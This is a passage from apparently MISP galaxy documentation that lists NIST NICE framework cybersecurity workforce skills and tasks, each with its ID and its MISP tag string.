The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating multiple technologies - S0420"*

Skill in building architectures - S0426

Skill in building architectures

The tag is: *misp-galaxy:nice-framework-skills="Skill in building architectures - S0426"*

Skill in building frameworks - S0427

Skill in building frameworks

The tag is: *misp-galaxy:nice-framework-skills="Skill in building frameworks - S0427"*

Skill in writing code in a currently supported programming language - S0597

Skill in writing code in a currently supported programming language

The tag is: *misp-galaxy:nice-framework-skills="Skill in writing code in a currently supported programming language - S0597"*

Skill in identifying gaps in technical capabilities - S0066

Skill in identifying gaps in technical capabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying gaps in technical capabilities - S0066"*

Skill in developing client organization profiles - S0497

Skill in developing client organization profiles

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing client organization profiles - S0497"*

Skill in identifying partner capabilities - S0515

Skill in identifying partner capabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying partner capabilities - S0515"*

Skill in performing systems analysis - S0554

Skill in performing systems analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing systems analysis - S0554"*

Skill in performing capabilities analysis - S0555

Skill in performing capabilities analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing capabilities analysis - S0555"*

Skill in performing requirements analysis - S0556

Skill in performing requirements analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing requirements analysis - S0556"*

Skill in conducting system reviews - S0654

Skill in conducting system reviews

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting system reviews - S0654"*

Skill in managing client relationships - S0724

Skill in managing client relationships

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing client relationships - S0724"*

Skill in identifying requirements - S0759

Skill in identifying requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying requirements - S0759"*

Skill in assessing partner operations capabilities - S0801

Skill in assessing partner operations capabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing partner operations capabilities - S0801"*

Skill in conducting feasability studies - S0830

Skill in conducting feasability studies

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting feasability studies - S0830"*

Skill in performing needs analysis - S0870

Skill in performing needs analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing needs analysis - S0870"*

Skill in performing system analysis - S0886

Skill in performing system analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing system analysis - S0886"*

Skill in performing trade-off analysis - S0891

Skill in performing trade-off analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing trade-off analysis - S0891"*

Skill in recognizing digital forensics data - S0475

Skill in recognizing digital forensics data

The tag is: *misp-galaxy:nice-framework-skills="Skill in recognizing digital forensics data - S0475"*

Skill in identifying forensic digital footprints - S0481

Skill in identifying forensic digital footprints

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying forensic digital footprints - S0481"*

Skill in performing forensic data analysis - S0482

Skill in performing forensic data analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing forensic data analysis - S0482"*

Skill in identifying software communications vulnerabilities - S0483

Skill in identifying software communications vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying software communications vulnerabilities - S0483"*

Skill in performing systems engineering - S0660

Skill in performing systems engineering

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing systems engineering - S0660"*

Skill in designing technology processes and solutions - S0668

Skill in designing technology processes and solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing technology processes and solutions - S0668"*

Skill in integrating technology processes and solutions - S0669

Skill in integrating technology processes and solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating technology processes and solutions*

- S0669"

Skill in solving problems - S0807

Skill in solving problems

The tag is: *misp-galaxy:nice-framework-skills="Skill in solving problems - S0807"*

Skill in communicating with internal and external stakeholders - S0827

Skill in communicating with internal and external stakeholders

The tag is: *misp-galaxy:nice-framework-skills="Skill in communicating with internal and external stakeholders - S0827"*

Skill in conducting test events - S0015

Skill in conducting test events

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting test events - S0015"*

Skill in systems integration testing - S0048

Skill in systems integration testing

The tag is: *misp-galaxy:nice-framework-skills="Skill in systems integration testing - S0048"*

Skill in collecting data - S0401

Skill in collecting data

The tag is: *misp-galaxy:nice-framework-skills="Skill in collecting data - S0401"*

Skill in verifying data - S0402

Skill in verifying data

The tag is: *misp-galaxy:nice-framework-skills="Skill in verifying data - S0402"*

Skill in validating data - S0403

Skill in validating data

The tag is: *misp-galaxy:nice-framework-skills="Skill in validating data - S0403"*

Skill in developing algorithms - S0558

Skill in developing algorithms

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing algorithms - S0558"*

Skill in performing data structure analysis - S0559

Skill in performing data structure analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing data structure analysis - S0559"*

Skill in designing data analysis structures - S0568

Skill in designing data analysis structures

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing data analysis structures - S0568"*

Skill in developing testing scenarios - S0573

Skill in developing testing scenarios

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing testing scenarios - S0573"*

Skill in preparing reports - S0579

Skill in preparing reports

The tag is: *misp-galaxy:nice-framework-skills="Skill in preparing reports - S0579"*

Skill in conducting Test Readiness Reviews (TRR) - S0630

Skill in conducting Test Readiness Reviews (TRR)

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting Test Readiness Reviews (TRR) - S0630"*

Skill in identifying Test and Evaluation Strategies (TES) infrastructure requirements - S0634

Skill in identifying Test and Evaluation Strategies (TES) infrastructure requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying Test and Evaluation Strategies (TES) infrastructure requirements - S0634"*

Skill in managing test assets - S0635

Skill in managing test assets

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing test assets - S0635"*

Skill in providing test and evaluation resource estimates - S0639

Skill in providing test and evaluation resource estimates

The tag is: *misp-galaxy:nice-framework-skills="Skill in providing test and evaluation resource estimates - S0639"*

Skill in interpeting test results - S0842

Skill in interpeting test results

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpeting test results - S0842"*

Skill in performing test result analysis - S0889

Skill in performing test result analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing test result analysis - S0889"*

Skill in applying crisis planning procedures - S0186

Skill in applying crisis planning procedures

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying crisis planning procedures - S0186"*

Skill in evaluating laws - S0414

Skill in evaluating laws

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating laws - S0414"*

Skill in evaluating regulations - S0415

Skill in evaluating regulations

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating regulations - S0415"*

Skill in evaluating policies - S0416

Skill in evaluating policies

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating policies - S0416"*

Skill in applying critical thinking - S0431

Skill in applying critical thinking

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying critical thinking - S0431"*

Skill in coordinating cybersecurity operations across an organization - S0432

Skill in coordinating cybersecurity operations across an organization

The tag is: *misp-galaxy:nice-framework-skills="Skill in coordinating cybersecurity operations across an organization - S0432"*

Skill in functioning effectively in a dynamic, fast-paced environment - S0438

Skill in functioning effectively in a dynamic, fast-paced environment

The tag is: *misp-galaxy:nice-framework-skills="Skill in functioning effectively in a dynamic, fast-paced environment - S0438"*

Skill in identifying external partners - S0439

Skill in identifying external partners

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying external partners - S0439"*

Skill in determining intelligence support requirements - S0493

Skill in determining intelligence support requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining intelligence support requirements - S0493"*

Skill in managing an intelligence collection plan - S0498

Skill in managing an intelligence collection plan

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing an intelligence collection plan - S0498"*

Skill in developing crisis action plans - S0501

Skill in developing crisis action plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing crisis action plans - S0501"*

Skill in initiating planning activities - S0526

Skill in initiating planning activities

The tag is: *misp-galaxy:nice-framework-skills="Skill in initiating planning activities - S0526"*

Skill in developing crisis action timelines - S0527

Skill in developing crisis action timelines

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing crisis action timelines - S0527"*

Skill in designing wireless communications systems - S0537

Skill in designing wireless communications systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing wireless communications systems - S0537"*

Skill in identifying network threats - S0540

Skill in identifying network threats

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying network threats - S0540"*

Skill in collecting relevant data from a variety of sources - S0600

Skill in collecting relevant data from a variety of sources

The tag is: *misp-galaxy:nice-framework-skills="Skill in collecting relevant data from a variety of*

sources - S0600"

Skill in communicating effectively - S0610

Skill in communicating effectively

The tag is: *misp-galaxy:nice-framework-skills="Skill in communicating effectively - S0610"*

Skill in performing administrative planning activities - S0687

Skill in performing administrative planning activities

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing administrative planning activities - S0687"*

Skill in developing comprehensive cyber operations assessment programs - S0707

Skill in developing comprehensive cyber operations assessment programs

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing comprehensive cyber operations assessment programs - S0707"*

Skill in executing comprehensive cyber operations assessment programs - S0708

Skill in executing comprehensive cyber operations assessment programs

The tag is: *misp-galaxy:nice-framework-skills="Skill in executing comprehensive cyber operations assessment programs - S0708"*

Skill in developing analytics - S0709

Skill in developing analytics

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing analytics - S0709"*

Skill in evaluating data source quality - S0712

Skill in evaluating data source quality

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating data source quality - S0712"*

Skill in evaluating information quality - S0713

Skill in evaluating information quality

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating information quality - S0713"*

Skill in preparing plans - S0729

Skill in preparing plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in preparing plans - S0729"*

Skill in incorporating feedback - S0756

Skill in incorporating feedback

The tag is: *misp-galaxy:nice-framework-skills="Skill in incorporating feedback - S0756"*

Skill in assessing cyber operations - S0763

Skill in assessing cyber operations

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing cyber operations - S0763"*

Skill in defining progress indicators - S0769

Skill in defining progress indicators

The tag is: *misp-galaxy:nice-framework-skills="Skill in defining progress indicators - S0769"*

Skill in defining success indicators - S0770

Skill in defining success indicators

The tag is: *misp-galaxy:nice-framework-skills="Skill in defining success indicators - S0770"*

Skill in distinguishing between notional and actual resources - S0776

Skill in distinguishing between notional and actual resources

The tag is: *misp-galaxy:nice-framework-skills="Skill in distinguishing between notional and actual resources - S0776"*

Skill in determining capability estimates - S0782

Skill in determining capability estimates

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining capability estimates - S0782"*

Skill in creating decision support materials - S0783

Skill in creating decision support materials

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating decision support materials - S0783"*

Skill in implementing established procedures - S0784

Skill in implementing established procedures

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing established procedures - S0784"*

Skill in interpreting planning guidance - S0785

Skill in interpreting planning guidance

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpreting planning guidance - S0785"*

Skill in analyzing organizational patterns and relationships - S0800

Skill in analyzing organizational patterns and relationships

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing organizational patterns and relationships - S0800"*

Skill in building internal and external relationships - S0817

Skill in building internal and external relationships

The tag is: *misp-galaxy:nice-framework-skills="Skill in building internal and external relationships - S0817"*

Skill in creating technical documentation - S0391

Skill in creating technical documentation

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating technical documentation - S0391"*

Skill in deriving evaluative conclusions from data - S0409

Skill in deriving evaluative conclusions from data

The tag is: *misp-galaxy:nice-framework-skills="Skill in deriving evaluative conclusions from data - S0409"*

Skill in analyzing processes to ensure conformance with procedural requirements - S0423

Skill in analyzing processes to ensure conformance with procedural requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing processes to ensure conformance with procedural requirements - S0423"*

Skill in integrating information security requirements in the acquisitions process - S0462

Skill in integrating information security requirements in the acquisitions process

The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating information security requirements in the acquisitions process - S0462"*

Skill in implementing software quality control processes - S0463

Skill in implementing software quality control processes

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing software quality control processes - S0463"*

Skill in analyzing software configurations - S0532

Skill in analyzing software configurations

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing software configurations - S0532"*

Skill in auditing technical systems - S0619

Skill in auditing technical systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in auditing technical systems - S0619"*

Skill in applying policies that meet system security objectives - S0664

Skill in applying policies that meet system security objectives

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying policies that meet system security objectives - S0664"*

Skill in performing design modeling - S0681

Skill in performing design modeling

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing design modeling - S0681"*

Skill in performing technical writing - S0744

Skill in performing technical writing

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing technical writing - S0744"*

Skill in orchestrating planning teams - S0788

Skill in orchestrating planning teams

The tag is: *misp-galaxy:nice-framework-skills="Skill in orchestrating planning teams - S0788"*

Skill in coordinating collection support - S0789

Skill in coordinating collection support

The tag is: *misp-galaxy:nice-framework-skills="Skill in coordinating collection support - S0789"*

Skill in monitoring status - S0790

Skill in monitoring status

The tag is: *misp-galaxy:nice-framework-skills="Skill in monitoring status - S0790"*

Skill in communicating with customers - S0824

Skill in communicating with customers

The tag is: *misp-galaxy:nice-framework-skills="Skill in communicating with customers - S0824"*

Skill in performing gap analysis - S0861

Skill in performing gap analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing gap analysis - S0861"*

Skill in testing interfaces - S0899

Skill in testing interfaces

The tag is: *misp-galaxy:nice-framework-skills="Skill in testing interfaces - S0899"*

Skill in performing root cause analysis - S0175

Skill in performing root cause analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing root cause analysis - S0175"*

Skill in tailoring code analysis - S0382

Skill in tailoring code analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in tailoring code analysis - S0382"*

Skill in deploying software securely - S0417

Skill in deploying software securely

The tag is: *misp-galaxy:nice-framework-skills="Skill in deploying software securely - S0417"*

Skill in debugging software - S0560

Skill in debugging software

The tag is: *misp-galaxy:nice-framework-skills="Skill in debugging software - S0560"*

Skill in creating mathematical models - S0562

Skill in creating mathematical models

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating mathematical models - S0562"*

Skill in creating statistical models - S0563

Skill in creating statistical models

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating statistical models - S0563"*

Skill in implementing input validation - S0565

Skill in implementing input validation

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing input validation - S0565"*

Skill in implementing error handling in applications - S0670

Skill in implementing error handling in applications

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing error handling in applications - S0670"*

Skill in communicating with engineering staff - S0825

Skill in communicating with engineering staff

The tag is: *misp-galaxy:nice-framework-skills="Skill in communicating with engineering staff - S0825"*

Skill in encrypting data - S0836

Skill in encrypting data

The tag is: *misp-galaxy:nice-framework-skills="Skill in encrypting data - S0836"*

Skill in performing risk analysis - S0878

Skill in performing risk analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing risk analysis - S0878"*

Skill in performing scientific analysis - S0879

Skill in performing scientific analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing scientific analysis - S0879"*

Skill in performing static code analysis - S0883

Skill in performing static code analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing static code analysis - S0883"*

Skill in assessing security systems designs - S0141

Skill in assessing security systems designs

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing security systems designs - S0141"*

Skill in applying secure coding techniques - S0172

Skill in applying secure coding techniques

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying secure coding techniques - S0172"*

Skill in analyzing an organization’s enterprise information technology architecture - S0383

Skill in analyzing an organization’s enterprise information technology architecture

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing an organization’s enterprise information technology architecture - S0383"*

Skill in communicating complex concepts - S0385

Skill in communicating complex concepts

The tag is: *misp-galaxy:nice-framework-skills="Skill in communicating complex concepts - S0385"*

Skill in communicating verbally - S0386

Skill in communicating verbally

The tag is: *misp-galaxy:nice-framework-skills="Skill in communicating verbally - S0386"*

Skill in communicating in writing - S0387

Skill in communicating in writing

The tag is: *misp-galaxy:nice-framework-skills="Skill in communicating in writing - S0387"*

Skill in applying secure network architectures - S0418

Skill in applying secure network architectures

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying secure network architectures - S0418"*

Skill in designing systems - S0419

Skill in designing systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing systems - S0419"*

Skill in designing architectures - S0428

Skill in designing architectures

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing architectures - S0428"*

Skill in designing frameworks - S0429

Skill in designing frameworks

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing frameworks - S0429"*

Skill in collaborating with others - S0430

Skill in collaborating with others

The tag is: *misp-galaxy:nice-framework-skills="Skill in collaborating with others - S0430"*

Skill in coordinating efforts between stakeholders - S0458

Skill in coordinating efforts between stakeholders

The tag is: *misp-galaxy:nice-framework-skills="Skill in coordinating efforts between stakeholders - S0458"*

Skill in identifying critical infrastructure systems - S0465

Skill in identifying critical infrastructure systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying critical infrastructure systems - S0465"*

Skill in identifying systems designed without security considerations - S0466

Skill in identifying systems designed without security considerations

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying systems designed without security*

considerations - S0466"

Skill in scanning for vulnerabilities - S0543

Skill in scanning for vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in scanning for vulnerabilities - S0543"*

Skill in recognizing vulnerabilities - S0544

Skill in recognizing vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in recognizing vulnerabilities - S0544"*

Skill in applying information technologies into proposed solutions - S0551

Skill in applying information technologies into proposed solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying information technologies into proposed solutions - S0551"*

Skill in designing security controls - S0569

Skill in designing security controls

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing security controls - S0569"*

Skill in designing the integration of hardware solutions - S0570

Skill in designing the integration of hardware solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing the integration of hardware solutions - S0570"*

Skill in designing the integration of software solutions - S0571

Skill in designing the integration of software solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing the integration of software solutions - S0571"*

Skill in developing security system controls - S0574

Skill in developing security system controls

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing security system controls - S0574"*

Skill in evaluating security designs - S0578

Skill in evaluating security designs

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating security designs - S0578"*

Skill in building use cases - S0590

Skill in building use cases

The tag is: *misp-galaxy:nice-framework-skills="Skill in building use cases - S0590"*

Skill in encrypting network communications - S0596

Skill in encrypting network communications

The tag is: *misp-galaxy:nice-framework-skills="Skill in encrypting network communications - S0596"*

Skill in creating test plans - S0598

Skill in creating test plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating test plans - S0598"*

Skill in configuring software-based computer protection tools - S0613

Skill in configuring software-based computer protection tools

The tag is: *misp-galaxy:nice-framework-skills="Skill in configuring software-based computer protection tools - S0613"*

Skill in designing Test and Evaluation Strategies (TES) - S0632

Skill in designing Test and Evaluation Strategies (TES)

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing Test and Evaluation Strategies (TES) - S0632"*

Skill in designing multi-level security solutions - S0637

Skill in designing multi-level security solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing multi-level security solutions - S0637"*

Skill in designing cross-domain solutions - S0638

Skill in designing cross-domain solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing cross-domain solutions - S0638"*

Skill in designing secure test plans - S0655

Skill in designing secure test plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing secure test plans - S0655"*

Skill in implementing Public Key Infrastructure (PKI) encryption - S0657

Skill in implementing Public Key Infrastructure (PKI) encryption

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing Public Key Infrastructure (PKI) encryption - S0657"*

Skill in implementing digital signatures - S0658

Skill in implementing digital signatures

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing digital signatures - S0658"*

Skill in applying security models - S0659

Skill in applying security models

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying security models - S0659"*

Skill in translating operational requirements into security controls - S0673

Skill in translating operational requirements into security controls

The tag is: *misp-galaxy:nice-framework-skills="Skill in translating operational requirements into security controls - S0673"*

Skill in installing system and component upgrades - S0674

Skill in installing system and component upgrades

The tag is: *misp-galaxy:nice-framework-skills="Skill in installing system and component upgrades - S0674"*

Skill in optimizing system performance - S0675

Skill in optimizing system performance

The tag is: *misp-galaxy:nice-framework-skills="Skill in optimizing system performance - S0675"*

Skill in implementing network segregation - S0683

Skill in implementing network segregation

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing network segregation - S0683"*

Skill in configuring computer protection components - S0685

Skill in configuring computer protection components

The tag is: *misp-galaxy:nice-framework-skills="Skill in configuring computer protection components - S0685"*

Skill in performing risk assessments - S0686

Skill in performing risk assessments

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing risk assessments - S0686"*

Skill in preparing briefings - S0728

Skill in preparing briefings

The tag is: *misp-galaxy:nice-framework-skills="Skill in preparing briefings - S0728"*

Skill in integrating organization objectives - S0762

Skill in integrating organization objectives

The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating organization objectives - S0762"*

Skill in presenting to an audience - S0791

Skill in presenting to an audience

The tag is: *misp-galaxy:nice-framework-skills="Skill in presenting to an audience - S0791"*

Skill in identifying cybersecurity issues in external connections - S0813

Skill in identifying cybersecurity issues in external connections

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying cybersecurity issues in external connections - S0813"*

Skill in identifying privacy issues in partner interconnections - S0814

Skill in identifying privacy issues in partner interconnections

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying privacy issues in partner interconnections - S0814"*

Skill in collaborating with stakeholders - S0822

Skill in collaborating with stakeholders

The tag is: *misp-galaxy:nice-framework-skills="Skill in collaborating with stakeholders - S0822"*

Skill in performing cybersecurity architecture analysis - S0853

Skill in performing cybersecurity architecture analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing cybersecurity architecture analysis - S0853"*

Skill in performing security architecture analysis - S0880

Skill in performing security architecture analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing security architecture analysis - S0880"*

Skill in performing user needs analysis - S0893

Skill in performing user needs analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing user needs analysis - S0893"*

NICE Tasks

Tasks based on the NIST NICE framework.

NICE Tasks is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

NIST - Jean-Louis Huynen

Employ secure configuration management processes - T0084

Employ secure configuration management processes

The tag is: *misp-galaxy:nice-framework-tasks="Employ secure configuration management processes - T0084"*

Translate proposed capabilities into technical requirements - T0542

Translate proposed capabilities into technical requirements

The tag is: *misp-galaxy:nice-framework-tasks="Translate proposed capabilities into technical requirements - T0542"*

Communicate enterprise information technology architecture - T1010

Communicate enterprise information technology architecture

The tag is: *misp-galaxy:nice-framework-tasks="Communicate enterprise information technology architecture - T1010"*

Determine special needs of cyber-physical systems - T1019

Determine special needs of cyber-physical systems

The tag is: *misp-galaxy:nice-framework-tasks="Determine special needs of cyber-physical systems - T1019"*

Determine the operational and safety impacts of cybersecurity lapses - T1020

Determine the operational and safety impacts of cybersecurity lapses

The tag is: *misp-galaxy:nice-framework-tasks="Determine the operational and safety impacts of cybersecurity lapses - T1020"*

Integrate organizational goals and objectives into security architecture - T1027

Integrate organizational goals and objectives into security architecture

The tag is: *misp-galaxy:nice-framework-tasks="Integrate organizational goals and objectives into security architecture - T1027"*

Implement organizational evaluation and validation criteria - T1029

Implement organizational evaluation and validation criteria

The tag is: *misp-galaxy:nice-framework-tasks="Implement organizational evaluation and validation criteria - T1029"*

Assess the organization’s cybersecurity architecture - T1077

Assess the organization’s cybersecurity architecture

The tag is: *misp-galaxy:nice-framework-tasks="Assess the organization’s cybersecurity architecture - T1077"*

Perform privacy impact assessments (PIAs) - T1096

Perform privacy impact assessments (PIAs)

The tag is: *misp-galaxy:nice-framework-tasks="Perform privacy impact assessments (PIAs) - T1096"*

Configure network hubs, routers, and switches - T1100

Configure network hubs, routers, and switches

The tag is: *misp-galaxy:nice-framework-tasks="Configure network hubs, routers, and switches - T1100"*

Optimize network hubs, routers, and switches - T1101

Optimize network hubs, routers, and switches

The tag is: *misp-galaxy:nice-framework-tasks="Optimize network hubs, routers, and switches - T1101"*

Determine essential system capabilities and business functions - T1122

Determine essential system capabilities and business functions

The tag is: *misp-galaxy:nice-framework-tasks="Determine essential system capabilities and business functions - T1122"*

Prioritize essential system capabilities and business functions - T1123

Prioritize essential system capabilities and business functions

The tag is: *misp-galaxy:nice-framework-tasks="Prioritize essential system capabilities and business functions - T1123"*

Restore essential system capabilities and business functions after catastrophic failure events - T1124

Restore essential system capabilities and business functions after catastrophic failure events

The tag is: *misp-galaxy:nice-framework-tasks="Restore essential system capabilities and business functions after catastrophic failure events - T1124"*

Define system availability levels - T1125

Define system availability levels

The tag is: *misp-galaxy:nice-framework-tasks="Define system availability levels - T1125"*

Determine disaster recovery and continuity of operations system requirements - T1126

Determine disaster recovery and continuity of operations system requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine disaster recovery and continuity of*

operations system requirements - T1126"

Develop cybersecurity designs for systems and networks with multilevel security requirements - T1151

Develop cybersecurity designs for systems and networks with multilevel security requirements

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity designs for systems and networks with multilevel security requirements - T1151"*

Develop cybersecurity designs for systems and networks that require processing of multiple data classification levels - T1152

Develop cybersecurity designs for systems and networks that require processing of multiple data classification levels

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity designs for systems and networks that require processing of multiple data classification levels - T1152"*

Integrate cybersecurity designs for systems and networks - T1153

Integrate cybersecurity designs for systems and networks

The tag is: *misp-galaxy:nice-framework-tasks="Integrate cybersecurity designs for systems and networks - T1153"*

Define acquisition life cycle cybersecurity architecture requirements - T1168

Define acquisition life cycle cybersecurity architecture requirements

The tag is: *misp-galaxy:nice-framework-tasks="Define acquisition life cycle cybersecurity architecture requirements - T1168"*

Define acquisition life cycle systems security engineering requirements - T1169

Define acquisition life cycle systems security engineering requirements

The tag is: *misp-galaxy:nice-framework-tasks="Define acquisition life cycle systems security*

engineering requirements - T1169"

Determine if systems and architecture are consistent with cybersecurity architecture guidelines - T1179

Determine if systems and architecture are consistent with cybersecurity architecture guidelines

The tag is: *misp-galaxy:nice-framework-tasks="Determine if systems and architecture are consistent with cybersecurity architecture guidelines - T1179"*

Perform security reviews - T1263

Perform security reviews

The tag is: *misp-galaxy:nice-framework-tasks="Perform security reviews - T1263"*

Identify gaps in security architecture - T1264

Identify gaps in security architecture

The tag is: *misp-galaxy:nice-framework-tasks="Identify gaps in security architecture - T1264"*

Develop a cybersecurity risk management plan - T1265

Develop a cybersecurity risk management plan

The tag is: *misp-galaxy:nice-framework-tasks="Develop a cybersecurity risk management plan - T1265"*

Advise on security requirements to be included in statements of work - T1293

Advise on security requirements to be included in statements of work

The tag is: *misp-galaxy:nice-framework-tasks="Advise on security requirements to be included in statements of work - T1293"*

Advise on Risk Management Framework process activities and documentation - T1294

Advise on Risk Management Framework process activities and documentation

The tag is: *misp-galaxy:nice-framework-tasks="Advise on Risk Management Framework process activities and documentation - T1294"*

Determine the impact of new system and interface implementations on organization’s cybersecurity posture - T1361

Determine the impact of new system and interface implementations on organization’s cybersecurity posture

The tag is: *misp-galaxy:nice-framework-tasks="Determine the impact of new system and interface implementations on organization’s cybersecurity posture - T1361"*

Document impact of new system and interface implementations on organization’s cybersecurity posture - T1362

Document impact of new system and interface implementations on organization’s cybersecurity posture

The tag is: *misp-galaxy:nice-framework-tasks="Document impact of new system and interface implementations on organization’s cybersecurity posture - T1362"*

Plan system security development - T1363

Plan system security development

The tag is: *misp-galaxy:nice-framework-tasks="Plan system security development - T1363"*

Conduct system security development - T1364

Conduct system security development

The tag is: *misp-galaxy:nice-framework-tasks="Conduct system security development - T1364"*

Allocate cybersecurity services - T1403

Allocate cybersecurity services

The tag is: *misp-galaxy:nice-framework-tasks="Allocate cybersecurity services - T1403"*

Select cybersecurity mechanisms - T1404

Select cybersecurity mechanisms

The tag is: *misp-galaxy:nice-framework-tasks="Select cybersecurity mechanisms - T1404"*

Develop system security contexts - T1410

Develop system security contexts

The tag is: *misp-galaxy:nice-framework-tasks="Develop system security contexts - T1410"*

Create system security concept of operations (ConOps) documents - T1423

Create system security concept of operations (ConOps) documents

The tag is: *misp-galaxy:nice-framework-tasks="Create system security concept of operations (ConOps) documents - T1423"*

Determine cybersecurity design and architecture effectiveness - T1426

Determine cybersecurity design and architecture effectiveness

The tag is: *misp-galaxy:nice-framework-tasks="Determine cybersecurity design and architecture effectiveness - T1426"*

Create cybersecurity architecture functional specifications - T1434

Create cybersecurity architecture functional specifications

The tag is: *misp-galaxy:nice-framework-tasks="Create cybersecurity architecture functional specifications - T1434"*

Determine user requirements - T1507

Determine user requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine user requirements - T1507"*

Plan cybersecurity architecture - T1508

Plan cybersecurity architecture

The tag is: *misp-galaxy:nice-framework-tasks="Plan cybersecurity architecture - T1508"*

Design system security measures - T1519

Design system security measures

